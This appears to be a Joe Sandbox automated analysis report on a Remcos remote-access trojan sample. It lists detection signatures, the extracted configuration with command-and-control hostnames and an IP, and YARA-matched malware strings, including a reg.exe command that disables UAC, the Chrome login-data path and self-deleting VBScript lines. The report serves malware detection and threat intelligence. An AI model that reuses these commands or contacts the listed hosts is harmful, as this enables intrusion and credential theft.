Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe

Overview

General Information

Sample name:1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
Analysis ID:1591660
MD5:a0453ab39ff4d213a85b94f1ad4478ac
SHA1:8a8f01321a77ac06693bded5cd39b3ca3197cf96
SHA256:b065d78d5be477fa31886590dca6e95daec84296a2b5d9bd4d293fbc1cbf5cfc
Tags:base64-decodedexeuser-abuse_ch
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Deletes itself after installation
Installs a global keyboard hook
Machine Learning detection for sample
Maps a DLL or memory area into another process
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Yara detected WebBrowserPassView password recovery tool
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found evasive API chain (may stop execution after checking a module file name)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w10x64
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": ["treeofwealth.freemyip.com:3980:0", "treeofwealth.freemyip.com:3981:1", "treeofwealthyz.freemyip.com:3980:0"], "Assigned name": "Billionairewealth", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-A5VKNH", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
    1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeJoeSecurity_RemcosYara detected Remcos RATJoe Security
      1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
        1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeWindows_Trojan_Remcos_b296e965unknownunknown
        • 0x6ad08:$a1: Remcos restarted by watchdog!
        • 0x6b280:$a3: %02i:%02i:%02i:%03i
        1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeREMCOS_RAT_variantsunknownunknown
        • 0x64f94:$str_a1: C:\Windows\System32\cmd.exe
        • 0x64f10:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
        • 0x64f10:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
        • 0x65410:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
        • 0x65a10:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
        • 0x65004:$str_b2: Executing file:
        • 0x65e4c:$str_b3: GetDirectListeningPort
        • 0x65800:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
        • 0x65980:$str_b7: \update.vbs
        • 0x6502c:$str_b9: Downloaded file:
        • 0x65018:$str_b10: Downloading file:
        • 0x650bc:$str_b12: Failed to upload file:
        • 0x65e14:$str_b13: StartForward
        • 0x65e34:$str_b14: StopForward
        • 0x658d8:$str_b15: fso.DeleteFile "
        • 0x6586c:$str_b16: On Error Resume Next
        • 0x65908:$str_b17: fso.DeleteFolder "
        • 0x650ac:$str_b18: Uploaded file:
        • 0x6506c:$str_b19: Unable to delete:
        • 0x658a0:$str_b20: while fso.FileExists("
        • 0x65549:$str_c0: [Firefox StoredLogins not found]
        Click to see the 1 entries

        Dropped Files

        SourceRuleDescriptionAuthorStrings
        C:\ProgramData\remcos\logs.datJoeSecurity_RemcosYara detected Remcos RATJoe Security

          Memory Dumps

          SourceRuleDescriptionAuthorStrings
          00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmpJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
            00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
              00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
                • 0x14708:$a1: Remcos restarted by watchdog!
                • 0x14c80:$a3: %02i:%02i:%02i:%03i
                00000000.00000002.1420895160.000000000221F000.00000004.00000010.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
                  Click to see the 35 entries

                  Unpacked PEs

                  SourceRuleDescriptionAuthorStrings
                  4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
                    4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
                      4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                        4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpackWindows_Trojan_Remcos_b296e965unknownunknown
                        • 0x6ad08:$a1: Remcos restarted by watchdog!
                        • 0x6b280:$a3: %02i:%02i:%02i:%03i
                        4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpackREMCOS_RAT_variantsunknownunknown
                        • 0x64f94:$str_a1: C:\Windows\System32\cmd.exe
                        • 0x64f10:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                        • 0x64f10:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                        • 0x65410:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
                        • 0x65a10:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
                        • 0x65004:$str_b2: Executing file:
                        • 0x65e4c:$str_b3: GetDirectListeningPort
                        • 0x65800:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
                        • 0x65980:$str_b7: \update.vbs
                        • 0x6502c:$str_b9: Downloaded file:
                        • 0x65018:$str_b10: Downloading file:
                        • 0x650bc:$str_b12: Failed to upload file:
                        • 0x65e14:$str_b13: StartForward
                        • 0x65e34:$str_b14: StopForward
                        • 0x658d8:$str_b15: fso.DeleteFile "
                        • 0x6586c:$str_b16: On Error Resume Next
                        • 0x65908:$str_b17: fso.DeleteFolder "
                        • 0x650ac:$str_b18: Uploaded file:
                        • 0x6506c:$str_b19: Unable to delete:
                        • 0x658a0:$str_b20: while fso.FileExists("
                        • 0x65549:$str_c0: [Firefox StoredLogins not found]
                        Click to see the 25 entries

                        Sigma Signatures

                        System Summary

                        barindex
                        Sigma detected: Script Interpreter Execution From Suspicious Folder
                        Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe", ParentImage: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, ParentProcessId: 7404, ParentProcessName: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , ProcessId: 7748, ProcessName: wscript.exe
                        Sigma detected: Suspicious Script Execution From Temp Folder
                        Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe", ParentImage: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, ParentProcessId: 7404, ParentProcessName: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , ProcessId: 7748, ProcessName: wscript.exe
                        Sigma detected: WScript or CScript Dropper
                        Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe", ParentImage: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, ParentProcessId: 7404, ParentProcessName: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , ProcessId: 7748, ProcessName: wscript.exe
                        Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                        Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe", ParentImage: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, ParentProcessId: 7404, ParentProcessName: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs" , ProcessId: 7748, ProcessName: wscript.exe

                        Stealing of Sensitive Information

                        barindex
                        Sigma detected: Remcos
                        Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, ProcessId: 7404, TargetFilename: C:\ProgramData\remcos\logs.dat

                        Suricata Signatures

                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-15T09:09:24.977824+010020327761Malware Command and Control Activity Detected192.168.2.1149707172.111.137.1013980TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-15T09:09:25.671718+010020327771Malware Command and Control Activity Detected172.111.137.1013980192.168.2.1149707TCP
                        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                        2025-01-15T09:09:27.652856+010028033043Unknown Traffic192.168.2.1149709178.237.33.5080TCP

                        Joe Sandbox Signatures

                        Click to jump to signature section

                        Show All Signature Results

                        AV Detection

                        barindex
                        Antivirus / Scanner detection for submitted sample
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeAvira: detected
                        Found malware configuration
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeMalware Configuration Extractor: Remcos {"Host:Port:Password": ["treeofwealth.freemyip.com:3980:0", "treeofwealth.freemyip.com:3981:1", "treeofwealthyz.freemyip.com:3980:0"], "Assigned name": "Billionairewealth", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-A5VKNH", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
                        Multi AV Scanner detection for submitted file
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeVirustotal: Detection: 70%Perma Link
                        Yara detected Remcos RAT
                        Source: Yara matchFile source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLE
                        Source: Yara matchFile source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420895160.000000000221F000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7404, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7612, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7620, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7636, type: MEMORYSTR
                        Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                        AI detected suspicious sample
                        Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                        Machine Learning detection for sample
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeJoe Sandbox ML: detected
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00432B45 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,0_2_00432B45
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00404423 GetProcAddress,FreeLibrary,CryptUnprotectData,3_2_00404423
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_087637b4-0

                        Exploits

                        barindex
                        Yara detected UAC Bypass using CMSTP
                        Source: Yara matchFile source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLE
                        Source: Yara matchFile source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7404, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7612, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7620, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7636, type: MEMORYSTR

                        Privilege Escalation

                        barindex
                        Contains functionality to bypass UAC (CMSTPLUA)
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00406764 _wcslen,CoGetObject,0_2_00406764
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,0_2_0040B335
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,0_2_0040B53A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041B63A FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,0_2_0041B63A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0044D7F9 FindFirstFileExA,0_2_0044D7F9
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,0_2_004089A9
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00406AC2 FindFirstFileW,FindNextFileW,0_2_00406AC2
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,0_2_00407A8C
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,0_2_00408DA7
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00418E5F FindFirstFileW,FindNextFileW,FindNextFileW,0_2_00418E5F
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_100010F1
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_10006580 FindFirstFileExA,0_2_10006580
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0040AE51 FindFirstFileW,FindNextFileW,3_2_0040AE51
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,4_2_00407EF8
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,5_2_00407898
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,0_2_00406F06

                        Networking

                        barindex
                        Suricata IDS alerts for network traffic
                        Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.11:49707 -> 172.111.137.101:3980
                        Source: Network trafficSuricata IDS: 2032777 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Server Response : 172.111.137.101:3980 -> 192.168.2.11:49707
                        C2 URLs / IPs found in malware configuration
                        Source: Malware configuration extractorURLs: treeofwealth.freemyip.com
                        Source: Malware configuration extractorURLs: treeofwealth.freemyip.com
                        Source: Malware configuration extractorURLs: treeofwealthyz.freemyip.com
                        Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
